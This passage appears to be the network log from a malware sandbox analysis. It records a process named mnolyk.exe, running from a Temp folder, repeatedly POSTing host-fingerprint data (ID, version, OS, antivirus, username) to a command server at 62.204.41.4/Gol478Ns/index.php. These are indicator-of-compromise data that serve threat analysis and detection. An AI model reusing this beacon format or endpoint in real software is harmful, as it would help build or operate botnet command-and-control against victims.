Feb 6, 2023 14:16:39.626537085 CET	234	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.5	50020	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:17.901531935 CET	531	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:17.965811014 CET	531	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.5	50021	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:18.134392977 CET	532	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:18.199697971 CET	532	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.5	50022	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:18.367475033 CET	533	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:18.430800915 CET	533	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.5	50023	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:18.602365017 CET	534	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:18.666377068 CET	534	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.5	50024	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:18.856589079 CET	535	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:18.919759035 CET	535	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.5	50025	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:19.101445913 CET	536	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:19.167455912 CET	536	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.5	50026	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:19.334486961 CET	537	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:19.397778034 CET	537	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.5	50027	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:19.567096949 CET	538	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:19.630285025 CET	538	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.5	50028	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:19.806368113 CET	539	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:19.871136904 CET	539	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.5	50029	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:20.040672064 CET	540	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:20.106918097 CET	540	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49724	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:39.798183918 CET	234	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:39.865067005 CET	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.5	50030	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:20.273308039 CET	541	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:20.339488983 CET	541	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.5	50031	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:20.511059046 CET	542	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:20.576251030 CET	542	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.5	50032	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:20.769004107 CET	543	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:20.834661007 CET	543	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.5	50033	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:21.009109974 CET	544	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:21.079492092 CET	544	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.5	50034	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:21.257214069 CET	545	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:21.322240114 CET	545	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.5	50035	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:21.518035889 CET	546	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:21.582262039 CET	546	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.5	50036	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:21.758203030 CET	547	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:21.822861910 CET	547	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.5	50037	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:21.991528988 CET	548	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:22.057874918 CET	548	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.5	50038	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:22.237631083 CET	549	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:22.301232100 CET	549	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.5	50039	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:22.475115061 CET	550	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:22.538532972 CET	550	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49725	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
